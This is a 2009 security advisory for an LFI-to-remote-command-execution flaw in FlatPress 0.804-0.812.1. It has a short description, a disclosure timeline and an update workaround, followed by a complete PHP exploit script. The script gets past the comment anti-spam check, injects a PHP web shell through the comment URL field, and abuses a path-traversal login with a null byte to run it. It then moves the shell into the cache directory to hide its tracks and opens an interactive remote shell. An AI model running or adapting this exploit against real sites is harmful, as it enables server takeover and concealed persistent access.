Security Advisory
-----------------
FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution
Researcher Information
----------------------
Discovered by: Giuseppe `Zmax` Fuggiano
Website: http://www.giusef.net
Contact: giuseppe(dot)fuggiano(at)gmail(dot)com
Product Information
-------------------
FlatPress is an open-source standard-compliant multi-lingual
extensible blogging engine written in PHP by Edoardo Vacchi.
Website: http://www.flatpress.org
Vulnerability Description
-------------------------
The versions 0.804 through 0.812.1 are resulting to be prone to a nasty
LFI vulnerability which can be exploited to have RCE (Remote Command
Execution). The piece of code involved is in the
fp-includes/core/core.users.php directory in the user_get() function
as showed below.
function user_get($userid=null){
if ($userid == null && ($user = user_loggedin())) {
return $user;
}
if (file_exists($f = USERS_DIR . $userid.".php")) {
include($f);
return $user;
}
}
It is possible to create a crafted comment for an article, and inject
PHP code into the "web link" field, which is not properly validated.
Then, a remote attacker could use this code to execute shell commands
remotely, eventually hiding his own tracks (e.g. deleting the injected
comment).
Disclosure timeline
-------------------
DD/MM/YYYY
* 24/09/2009: Vulnerability discovery and analysis;
* 26/09/2009: The vendor was notificated via e-mail;
* 26/09/2009: Vendor response and a new release publicly available;
* 27/09/2009: The researcher starts coding the exploit;
* 29/09/2009: Exploit complete and tested.
Workaroud
---------
Update to the newer version 0.812.2
Shouts
------
Thank you (you-know-who) :-)
Exploit
-------
<?php
/* Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>
*
* Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution
* vulnerability exploit (fp-includes/core/core.users.php).
* This code posts a crafted comment with a very simple
PHP shell.
* It exploits the LFI, hides the shell in the cache directory
* and starts a remote command session via POST.
*
* Syntax: php fp-lfi2rce.php <host> <path> [action] [lang] [shell]
* <host>: the hostname or IP address of your target;
* <path>: the path where FlatPress was installed;
* [action]: the action to take against the host system
(test, attack);
* [lang]: the remote language used (en, it);";
* [shell]: if already exploited, you could just have the shell name.
*
* Dependencies: php5-curl.
*
* Examples:
* php fp-lfi2rce.php www.example.com /
=> will test
* php fp-lfi2rce.php www.example.com /blog attack
=> will attack
* php fp-lfi2rce.php www.example.com /flatpress attack en
12345678.php => start remote session
*/
/* GET request, returns the page */
function get_url_contents($crl, $url)
{
curl_setopt($crl, CURLOPT_URL, $url);
curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
$ret = curl_exec($crl);
return $ret;
}
/* POST request */
function post_url_fields($crl, $url, $fields)
{
curl_setopt($crl, CURLOPT_URL, $url);
curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($crl, CURLOPT_POST, 1);
curl_setopt($crl, CURLOPT_POSTFIELDS, $fields);
curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
$ret = curl_exec($crl);
return $ret;
}
/* Execute remote command, returns the output */
function fp_exec($crl, $sh, $cmd)
{
$ret = post_url_fields($crl, $sh, "c=$cmd");
if ($ret) {
$pos1 = strpos($ret, 'http://www.aaa') + 14;
$pos2 = strpos($ret, 'aaa.com', $pos1);
$result = substr($ret, $pos1, $pos2-$pos1);
return $result;
} else
return false;
}
/* Starts a remote command session */
function fp_shell($crl, $sh)
{
echo "\nStarting remote command session, type 'quit' or 'exit' to exit.\n";
echo "\nremote> ";
$line = trim(fgets(STDIN));
while (($line != 'exit') && ($line != 'quit')) {
if ($line != "") {
if ($ret = fp_exec($crl, $sh, $line)) {
echo "\n$ret";
} else
echo "\nError.\n";
}
echo "\nremote> ";
$line = trim(fgets(STDIN));
}
}
function fail($crl, $str)
{
curl_close($crl);
die($str);
}
echo "\n Author: Giuseppe `Zmax` Fuggiano
<giuseppe(dot)fuggiano(at)gmail(dot)com>\n";
echo "\n";
echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution\n";
echo " vulnerability exploit
(fp-includes/core/core.users.php).\n";
echo " This code posts a crafted comment with a very
simple PHP shell.\n";
echo " It exploits the LFI, hides the shell in the
cache directory\n";
echo " and starts a remote command session via POST.\n";
echo "\n";
echo " Syntax: $argv[0] <host> <path> [action] [lang] [shell]\n";
echo " <host>: the hostname or IP address of your target;\n";
echo " <path>: the path where FlatPress was installed;\n";
echo " [action]: the action to take against the host system
(test, attack);\n";
echo " [lang]: the remote language used (en, it);\n";
echo " [shell]: if already exploited, you could just have
the shell name.\n";
echo "\n";
echo " Examples:\n";
echo " php $argv[0] www.example.com /
=> will test\n";
echo " php $argv[0] www.example.com /blog attack
=> will attack\n";
echo " php $argv[0] www.example.com /flatpress attack en
12345678.php => start remote session\n\n";
$crl = curl_init();
if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h')
die();
$HOST = $argv[1];
$PATH = $argv[2];
if (isset($argv[3]))
$ACTION = $argv[3];
else
$ACTION = 'test';
if (isset($argv[4]))
$LANG = $argv[4];
else
$LANG = 'en';
switch ($LANG) {
case 'it':
$LANGARRAY = array('aaspam' => 'Per prevenire abusi del
sistema di commenti, ' .
'ti chiediamo di scrivere il
risultato di ' .
'questa semplice operazione matematica',
'sum' => 'sommare',
'subtract' => 'togli');
break;
default: /* en */
$LANGARRAY = array('aaspam' => 'As a way to prevent abuses of
this commenting system, ' .
'we must ask you to give the
result of this simple ' .
'mathematical operation',
'sum' => 'sum',
'subtract' => 'subtract');
break;
}
if (isset($argv[5])) {
$SHELL = $argv[5];
fp_shell($crl, "fp-content/cache/$SHELL");
curl_close($crl);
exit();
} else
$SHELL = 'unknown';
echo " Host: $HOST\n";
echo " Path: $PATH\n";
echo " Lang: $LANG\n";
echo " Shell: $SHELL\n\n";
echo " [+] Vulnerability test: ";
$form = "user=../../admin&pass=".rand()."&submit=Login";
$loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);
if (strpos($loginpage, '<meta name="generator" content="FlatPress') == false)
echo "vulnerable!\n\n";
else
fail($crl, "NOT vulnerable!\n\n");
if ($ACTION == "test") {
curl_close($crl);
exit();
}
echo " [+] Creating the shell\n";
echo " * Getting the home page: ";
$home = get_url_contents($crl, "$HOST/$PATH/");
if (strpos($home, '<meta name="generator" content="FlatPress'))
echo "ok\n";
else
fail($crl, "FAIL!\n\n");
echo " * Detecting an article: ";
$entrypos = strpos($home, "x=entry:entry") + 8;
if ($entrypos) {
$entry = substr($home, $entrypos, 18);
echo "$entry\n";
} else
fail($crl, "FAIL!\n\n");
echo " * Getting the comment page: ";
$commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");
if (strpos($commentpage, 'id="comment-userdata"'))
echo "ok\n";
else
fail($crl, "FAIL!\n\n");
echo " * Solving the math operation: ";
$mathpos = strpos($commentpage, $LANGARRAY['aaspam']) +
strlen($LANGARRAY['aaspam']);
$mathpos = strpos($commentpage, "strong", $mathpos) + strlen("strong>");
$mathstr = substr($commentpage, $mathpos, strlen($commentpage)-$mathpos);
$operation = strtok($mathstr, " ");
switch ($operation) {
case $LANGARRAY['sum']:
$first = strtok(' ');
$to = strtok(' ');
$second = strtok(' ');
$result = $first + $second;
break;
case $LANGARRAY['subtract']:
$first = strtok(' ');
$from = strtok(' ');
$second = strtok(' ');
$result = $second - $first;
break;
case (is_numeric($operation) ? $operation : ""):
$first = $operation;
$times = strtok(' ');
$second = strtok(' ');
$result = $first * $second;
break;
default:
fail($crl, "FAIL!\n\n");
}
echo "$result\n";
echo " * Posting crafted comment...\n";
$random = rand();
$form = 'name='.$random.'&email=fake@fake.com&url=http://www.aaa\<?system($_POST[\'c\']);?\>aaa.com'
.
'&aaspam='.$result.'&content=foo&submit=Add';
post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form);
$commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");
echo " * Searching comment name: ";
if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/",
$commentpage, $comments, PREG_PATTERN_ORDER)) {
$commententry = end($comments[0]);
echo "$commententry\n";
} else
fail($crl, "FAIL!\n\n");
$year = substr($entry, 5, 2);
$month = substr($entry, 7, 2);
$commentpath = "content/$year/$month/$entry/comments/$commententry.txt";
echo " * Hiding tracks: ";
$SHELL = rand().'.php';
$form = "user=../$commentpath%00a&pass=".rand()."&submit=Login" .
"&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL";
$loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);
if (strpos($loginpage, 'http://www.aaa') && strpos($loginpage, 'aaa.com')) {
echo "ok\n\n";
echo " [+] Your shell: fp-content/cache/$SHELL\n";
} else
fail($crl, "FAIL!\n\n");
fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL");
curl_close($crl);
exit();
?>
